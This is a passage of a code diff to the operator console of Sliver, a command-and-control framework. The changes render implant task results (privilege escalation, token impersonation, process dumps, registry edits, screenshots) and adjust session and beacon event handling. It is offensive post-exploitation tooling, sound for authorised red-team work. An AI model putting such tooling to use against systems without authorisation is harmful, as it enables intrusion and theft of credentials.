||||
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
|
||||
return
|
||||
}
|
||||
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
|
||||
|
||||
// ---------------------
|
||||
// Privilege commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgGetPrivsReq:
|
||||
privs := &sliverpb.GetPrivs{}
|
||||
err := proto.Unmarshal(task.Response, privs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
|
||||
return
|
||||
}
|
||||
privilege.PrintGetPrivs(privs, beacon.PID, con)
|
||||
|
||||
case sliverpb.MsgInvokeGetSystemReq:
|
||||
getSystem := &sliverpb.GetSystem{}
|
||||
err := proto.Unmarshal(task.Response, getSystem)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
privilege.PrintGetSystem(getSystem, con)
|
||||
|
||||
case sliverpb.MsgImpersonateReq:
|
||||
impersonateReq := &sliverpb.ImpersonateReq{}
|
||||
err := proto.Unmarshal(task.Response, impersonateReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task request: %s\n", err)
|
||||
return
|
||||
}
|
||||
impersonate := &sliverpb.Impersonate{}
|
||||
err = proto.Unmarshal(task.Response, impersonate)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
privilege.PrintImpersonate(impersonate, impersonateReq.Username, con)
|
||||
|
||||
case sliverpb.MsgMakeTokenReq:
|
||||
makeTokenReq := &sliverpb.MakeTokenReq{}
|
||||
err := proto.Unmarshal(task.Response, makeTokenReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task request: %s\n", err)
|
||||
return
|
||||
}
|
||||
makeToken := &sliverpb.MakeToken{}
|
||||
err = proto.Unmarshal(task.Response, makeToken)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task request: %s\n", err)
|
||||
return
|
||||
}
|
||||
privilege.PrintMakeToken(makeToken, makeTokenReq.Domain, makeTokenReq.Username, con)
|
||||
|
||||
case sliverpb.MsgRunAsReq:
|
||||
runAsReq := &sliverpb.RunAsReq{}
|
||||
err := proto.Unmarshal(task.Response, runAsReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task request: %s\n", err)
|
||||
return
|
||||
}
|
||||
runAs := &sliverpb.RunAs{}
|
||||
err = proto.Unmarshal(task.Response, runAs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task request: %s\n", err)
|
||||
return
|
||||
}
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
|
||||
return
|
||||
}
|
||||
privilege.PrintRunAs(runAs, runAsReq.ProcessName, runAsReq.Args, beacon.Name, con)
|
||||
|
||||
// ---------------------
|
||||
// Processes commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgProcessDumpReq:
|
||||
dump := &sliverpb.ProcessDump{}
|
||||
err := proto.Unmarshal(task.Response, dump)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
promptSaveToFile(dump.Data, con)
|
||||
|
||||
case sliverpb.MsgPsReq:
|
||||
ps := &sliverpb.Ps{}
|
||||
err := proto.Unmarshal(task.Response, ps)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to get beacon: %s\n", err)
|
||||
return
|
||||
}
|
||||
ctx := &grumble.Context{
|
||||
Flags: grumble.FlagMap{
|
||||
"pid": &grumble.FlagMapItem{Value: -1},
|
||||
"exe": &grumble.FlagMapItem{Value: ""},
|
||||
"owner": &grumble.FlagMapItem{Value: ""},
|
||||
"overflow": &grumble.FlagMapItem{Value: false},
|
||||
"skip-pages": &grumble.FlagMapItem{Value: 0},
|
||||
"print-cmdline": &grumble.FlagMapItem{Value: true},
|
||||
},
|
||||
}
|
||||
processes.PrintPS(beacon.OS, ps, true, ctx, con)
|
||||
|
||||
case sliverpb.MsgTerminateReq:
|
||||
terminate := &sliverpb.Terminate{}
|
||||
err := proto.Unmarshal(task.Response, terminate)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
processes.PrintTerminate(terminate, con)
|
||||
|
||||
// ---------------------
|
||||
// Registry commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgRegistryCreateKeyReq:
|
||||
createKeyReq := &sliverpb.RegistryCreateKeyReq{}
|
||||
err := proto.Unmarshal(task.Request, createKeyReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
createKey := &sliverpb.RegistryCreateKey{}
|
||||
err = proto.Unmarshal(task.Response, createKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryListValuesReq:
|
||||
listValuesReq := &sliverpb.RegistryListValuesReq{}
|
||||
err := proto.Unmarshal(task.Request, listValuesReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
regList := &sliverpb.RegistryValuesList{}
|
||||
err = proto.Unmarshal(task.Response, regList)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintListValues(regList, listValuesReq.Hive, listValuesReq.Path, con)
|
||||
|
||||
case sliverpb.MsgRegistrySubKeysListReq:
|
||||
listValuesReq := &sliverpb.RegistrySubKeyListReq{}
|
||||
err := proto.Unmarshal(task.Request, listValuesReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
regList := &sliverpb.RegistrySubKeyList{}
|
||||
err = proto.Unmarshal(task.Response, regList)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintListSubKeys(regList, listValuesReq.Hive, listValuesReq.Path, con)
|
||||
|
||||
case sliverpb.MsgRegistryReadReq:
|
||||
regRead := &sliverpb.RegistryRead{}
|
||||
err := proto.Unmarshal(task.Response, regRead)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintRegRead(regRead, con)
|
||||
|
||||
case sliverpb.MsgRegistryWriteReq:
|
||||
regWrite := &sliverpb.RegistryWrite{}
|
||||
err := proto.Unmarshal(task.Response, regWrite)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintRegWrite(regWrite, con)
|
||||
|
||||
// ---------------------
|
||||
// Screenshot
|
||||
// ---------------------
|
||||
case sliverpb.MsgScreenshot:
|
||||
screenshot := &sliverpb.Screenshot{}
|
||||
err := proto.Unmarshal(task.Response, screenshot)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
promptSaveToFile(screenshot.Data, con)
|
||||
|
||||
// ---------------------
|
||||
// Default
|
||||
// ---------------------
|
||||
default:
|
||||
con.PrintErrorf("Cannot render task response for msg type %v\n", reqEnvelope.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func taskResponseDownload(download *sliverpb.Download, con *console.SliverConsoleClient) {
|
||||
const (
|
||||
dump = "Dump Contents"
|
||||
saveTo = "Save to File ..."
|
||||
)
|
||||
action := saveTo
|
||||
prompt := &survey.Select{
|
||||
Message: "Choose an option:",
|
||||
Options: []string{dump, saveTo},
|
||||
}
|
||||
err := survey.AskOne(prompt, &action, survey.WithValidator(survey.Required))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
switch action {
|
||||
case dump:
|
||||
con.Printf("%s\n", string(download.Data))
|
||||
default:
|
||||
promptSaveToFile(download.Data, con)
|
||||
}
|
||||
}
|
||||
|
||||
func promptSaveToFile(data []byte, con *console.SliverConsoleClient) {
|
||||
saveTo := ""
|
||||
saveToPrompt := &survey.Input{Message: "Save to: "}
|
||||
err := survey.AskOne(saveToPrompt, &saveTo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(saveTo); !os.IsNotExist(err) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, data, 0600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save file: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Wrote %d byte(s) to %s", len(data), saveTo)
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package tasks
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
// SelectBeaconTask - Select a beacon task interactively
|
||||
func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
|
||||
|
||||
// Render selection table
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
|
||||
for _, task := range tasks {
|
||||
shortID := strings.Split(task.ID, "-")[0]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", shortID, task.Description, prettyState(task.State))
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(buf.String(), "\n")
|
||||
options = options[:len(options)-1]
|
||||
if len(options) == 0 {
|
||||
return nil, errors.New("no task to select from")
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon task:",
|
||||
Options: options,
|
||||
}
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for index, value := range options {
|
||||
if value == selected {
|
||||
return tasks[index], nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("task not found")
|
||||
}
|
||||
@@ -20,6 +20,7 @@ package tasks
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -38,14 +39,14 @@ func TasksCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintBeaconTasks(beaconTasks.Tasks, con)
|
||||
PrintBeaconTasks(beaconTasks.Tasks, ctx, con)
|
||||
}
|
||||
|
||||
// PrintBeaconTasks - Print beacon tasks
|
||||
func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleClient) {
|
||||
func PrintBeaconTasks(tasks []*clientpb.BeaconTask, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -56,7 +57,16 @@ func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleCl
|
||||
"Sent",
|
||||
"Completed",
|
||||
})
|
||||
|
||||
sort.Slice(tasks, func(i, j int) bool {
|
||||
return tasks[i].CreatedAt > tasks[j].CreatedAt
|
||||
})
|
||||
|
||||
filter := strings.ToLower(ctx.Flags.String("filter"))
|
||||
for _, task := range tasks {
|
||||
if filter != "" && !strings.HasPrefix(strings.ToLower(task.Description), filter) {
|
||||
continue
|
||||
}
|
||||
sentAt := time.Unix(task.SentAt, 0).Format(time.RFC1123)
|
||||
if time.Unix(task.SentAt, 0).IsZero() {
|
||||
sentAt = ""
|
||||
@@ -68,13 +78,15 @@ func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleCl
|
||||
tw.AppendRow(table.Row{
|
||||
strings.Split(task.ID, "-")[0],
|
||||
prettyState(task.State),
|
||||
task.Description,
|
||||
strings.TrimSuffix(task.Description, "Req"),
|
||||
time.Unix(task.CreatedAt, 0).Format(time.RFC1123),
|
||||
sentAt,
|
||||
completedAt,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
overflow := ctx.Flags.Bool("overflow")
|
||||
skipPages := ctx.Flags.Int("skip-pages")
|
||||
settings.PaginateTable(tw, skipPages, overflow, true, con)
|
||||
}
|
||||
|
||||
func prettyState(state string) string {
|
||||
|
||||
@@ -51,7 +51,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon, err = SelectSessionOrBeacon(con)
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if session != nil {
|
||||
@@ -174,3 +174,25 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
}
|
||||
return nil, nil, nil
|
||||
}
|
||||
func Completer(con *console.SliverConsoleClient, prefix string, args []string) (results []string) {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, s := range sessions.Sessions {
|
||||
sid := fmt.Sprintf("%d", s.ID)
|
||||
if strings.HasPrefix(sid, prefix) {
|
||||
results = append(results, fmt.Sprintf("%d", s.ID))
|
||||
}
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, b := range beacons.Beacons {
|
||||
if strings.HasPrefix(b.ID, prefix) {
|
||||
results = append(results, b.ID)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
+82
-42
@@ -27,6 +27,7 @@ import (
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -40,7 +41,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"time"
|
||||
|
||||
@@ -74,6 +75,8 @@ const (
|
||||
Debug = Bold + Purple + "[-] " + Normal
|
||||
// Woot - Display success
|
||||
Woot = Bold + Green + "[$] " + Normal
|
||||
// Success - Diplay success
|
||||
Success = Bold + Green + "[+] " + Normal
|
||||
)
|
||||
|
||||
// Observer - A function to call when the sessions changes
|
||||
@@ -100,10 +103,6 @@ type SliverConsoleClient struct {
|
||||
// BindCmds - Bind extra commands to the app object
|
||||
type BindCmds func(console *SliverConsoleClient)
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().Unix())
|
||||
}
|
||||
|
||||
// Start - Console entrypoint
|
||||
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
|
||||
assets.Setup(false, false)
|
||||
@@ -165,75 +164,72 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
switch event.EventType {
|
||||
|
||||
case consts.CanaryEvent:
|
||||
con.Printf(Clearln+Warn+Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.Printf(Clearln+"\t🔥 Session #%d is affected\n", session.ID)
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
|
||||
}
|
||||
con.Println()
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
msg := string(event.Data)
|
||||
con.Printf(Clearln+Warn+Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.PrintWarnf("\t🔥 Session #%d is affected\n", session.ID)
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
|
||||
}
|
||||
con.Println()
|
||||
|
||||
case consts.JoinedEvent:
|
||||
con.PrintInfof("%s has joined the game\n\n", event.Client.Operator.Name)
|
||||
con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
|
||||
case consts.LeftEvent:
|
||||
con.PrintInfof("%s left the game\n\n", event.Client.Operator.Name)
|
||||
con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
|
||||
|
||||
case consts.JobStoppedEvent:
|
||||
job := event.Job
|
||||
con.PrintWarnf("Job #%d stopped (%s/%s)\n\n", job.ID, job.Protocol, job.Name)
|
||||
con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
|
||||
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
|
||||
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.AddSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session to Operator: %s", err)
|
||||
con.PrintEventErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.Printf(Clearln+Info+"Session #%d has been updated - %v\n", session.ID, currentTime)
|
||||
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
con.Printf(Clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n",
|
||||
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.Printf(Warn + "Active session disconnected\n")
|
||||
con.PrintEventErrorf("Active session disconnected")
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
}
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.RemoveSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not remove session from Operator: %s", err)
|
||||
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
con.PrintInfof("Removed session %s from Operator\n", session.Name)
|
||||
con.PrintEventInfof("Removed session %s from Operator", session.Name)
|
||||
}
|
||||
con.Println()
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
beacon := &clientpb.Beacon{}
|
||||
proto.Unmarshal(event.Data, beacon)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(beacon.ID, "-")[0]
|
||||
con.PrintInfof("Beacon #%s %s - %s (%s) - %s/%s - %v\n\n",
|
||||
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
@@ -255,13 +251,18 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
|
||||
|
||||
// We need some special handling for SessionOpenedEvent to
|
||||
// set the new session as the active session
|
||||
currentActiveSession := con.ActiveTarget.GetSession()
|
||||
if currentActiveSession != nil {
|
||||
defer con.ActiveTarget.Set(currentActiveSession, nil)
|
||||
}
|
||||
currentActiveSession, currentActiveBeacon := con.ActiveTarget.Get()
|
||||
defer func() {
|
||||
con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon)
|
||||
}()
|
||||
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
if event.EventType == consts.SessionOpenedEvent {
|
||||
con.ActiveTarget.Set(event.Session, nil)
|
||||
} else if event.EventType == consts.BeaconRegisteredEvent {
|
||||
beacon := &clientpb.Beacon{}
|
||||
proto.Unmarshal(event.Data, beacon)
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
}
|
||||
|
||||
for _, reaction := range reactions {
|
||||
@@ -288,6 +289,9 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
con.PrintErrorf("\rCould not unmarshal beacon task: %s\n", err)
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID})
|
||||
|
||||
// If the callback is not in our map then we don't do anything, the beacon task
|
||||
// was either issued by another operator in multiplayer mode or the client process
|
||||
@@ -296,8 +300,10 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
defer con.BeaconTaskCallbacksMutex.Unlock()
|
||||
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
|
||||
if con.Settings.BeaconAutoResults {
|
||||
// TODO: The background context could block forever and deadlock the mutex
|
||||
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{
|
||||
if beacon != nil {
|
||||
con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0])
|
||||
}
|
||||
task, err = con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
|
||||
ID: task.ID,
|
||||
})
|
||||
con.Printf(Clearln + "\r")
|
||||
@@ -377,7 +383,7 @@ func (con *SliverConsoleClient) CheckLastUpdate() {
|
||||
|
||||
func getLastUpdateCheck() *time.Time {
|
||||
appDir := assets.GetRootAppDir()
|
||||
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
|
||||
lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName)
|
||||
data, err := ioutil.ReadFile(lastUpdateCheckPath)
|
||||
if err != nil {
|
||||
log.Printf("Failed to read last update check %s", err)
|
||||
@@ -396,7 +402,7 @@ func getLastUpdateCheck() *time.Time {
|
||||
func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
@@ -444,18 +450,23 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
|
||||
|
||||
MaxConnectionErrors: uint32(1000),
|
||||
ReconnectInterval: int64(60),
|
||||
PollTimeout: int64(1),
|
||||
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsSharedLib: true,
|
||||
C2: c2s,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsSharedLib: true,
|
||||
C2: c2s,
|
||||
}
|
||||
return config
|
||||
}
|
||||
|
||||
// PrintAsyncResponse - Print the generic async response information
|
||||
func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) {
|
||||
con.PrintInfof("Tasked beacon %s (%s)\n", resp.BeaconID, resp.TaskID)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
beacon, err := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: resp.BeaconID})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Tasked beacon %s (%s)\n", beacon.Name, strings.Split(resp.TaskID, "-")[0])
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) Printf(format string, args ...interface{}) (n int, err error) {
|
||||
@@ -470,14 +481,30 @@ func (con *SliverConsoleClient) PrintInfof(format string, args ...interface{}) (
|
||||
return fmt.Fprintf(con.App.Stdout(), Clearln+Info+format, args...)
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) PrintSuccessf(format string, args ...interface{}) (n int, err error) {
|
||||
return fmt.Fprintf(con.App.Stdout(), Clearln+Success+format, args...)
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) PrintWarnf(format string, args ...interface{}) (n int, err error) {
|
||||
return fmt.Fprintf(con.App.Stdout(), Clearln+Warn+format, args...)
|
||||
return fmt.Fprintf(con.App.Stdout(), Clearln+"⚠️ "+Normal+format, args...)
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) PrintErrorf(format string, args ...interface{}) (n int, err error) {
|
||||
return fmt.Fprintf(con.App.Stderr(), Clearln+Warn+format, args...)
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) PrintEventInfof(format string, args ...interface{}) (n int, err error) {
|
||||
return fmt.Fprintf(con.App.Stdout(), Clearln+Info+format+"\n"+Clearln+"\r\n"+Clearln+"\r", args...)
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) PrintEventErrorf(format string, args ...interface{}) (n int, err error) {
|
||||
return fmt.Fprintf(con.App.Stderr(), Clearln+Warn+format+"\n"+Clearln+"\r\n"+Clearln+"\r", args...)
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) PrintEventSuccessf(format string, args ...interface{}) (n int, err error) {
|
||||
return fmt.Fprintf(con.App.Stdout(), Clearln+Success+format+"\n"+Clearln+"\r\n"+Clearln+"\r", args...)
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
|
||||
go spin.Until(con.App.Stdout(), message, ctrl)
|
||||
}
|
||||
@@ -495,6 +522,11 @@ func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
|
||||
return s.session, s.beacon
|
||||
}
|
||||
|
||||
// GetSessionInteractive - Get the active target(s)
|
||||
func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) {
|
||||
return s.session, s.beacon
|
||||
}
|
||||
|
||||
// GetSessionInteractive - GetSessionInteractive the active session
|
||||
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
|
||||
if s.session == nil {
|
||||
@@ -525,10 +557,7 @@ func (s *ActiveTarget) GetBeacon() *clientpb.Beacon {
|
||||
|
||||
// IsSession - Is the current target a session?
|
||||
func (s *ActiveTarget) IsSession() bool {
|
||||
if s.session != nil {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
return s.session != nil
|
||||
}
|
||||
|
||||
// AddObserver - Observers to notify when the active session changes
|
||||
@@ -565,13 +594,24 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) {
|
||||
if session != nil && beacon != nil {
|
||||
panic("cannot set both an active beacon and an active session")
|
||||
}
|
||||
if session == nil && beacon == nil {
|
||||
s.session = nil
|
||||
s.beacon = nil
|
||||
for _, observer := range s.observers {
|
||||
observer(s.session, s.beacon)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if session != nil {
|
||||
s.session = session
|
||||
s.beacon = nil
|
||||
for _, observer := range s.observers {
|
||||
observer(s.session, s.beacon)
|
||||
}
|
||||
} else if beacon != nil {
|
||||
s.beacon = beacon
|
||||
s.session = nil
|
||||
for _, observer := range s.observers {
|
||||
observer(s.session, s.beacon)
|
||||
}
|
||||
|
||||
@@ -94,7 +94,7 @@ const (
|
||||
const (
|
||||
OperatorsStr = "operators"
|
||||
NewOperatorStr = "new-operator"
|
||||
KickStr = "kick"
|
||||
KickOperatorStr = "kick-operator"
|
||||
MultiplayerModeStr = "multiplayer"
|
||||
|
||||
SessionsStr = "sessions"
|
||||
@@ -111,6 +111,7 @@ const (
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
WatchStr = "watch"
|
||||
SettingsStr = "settings"
|
||||
|
||||
// Generic
|
||||
@@ -130,7 +131,7 @@ const (
|
||||
LootStr = "loot"
|
||||
LootLocalStr = "local"
|
||||
LootRemoteStr = "remote"
|
||||
LootFetchStr = "fetch"
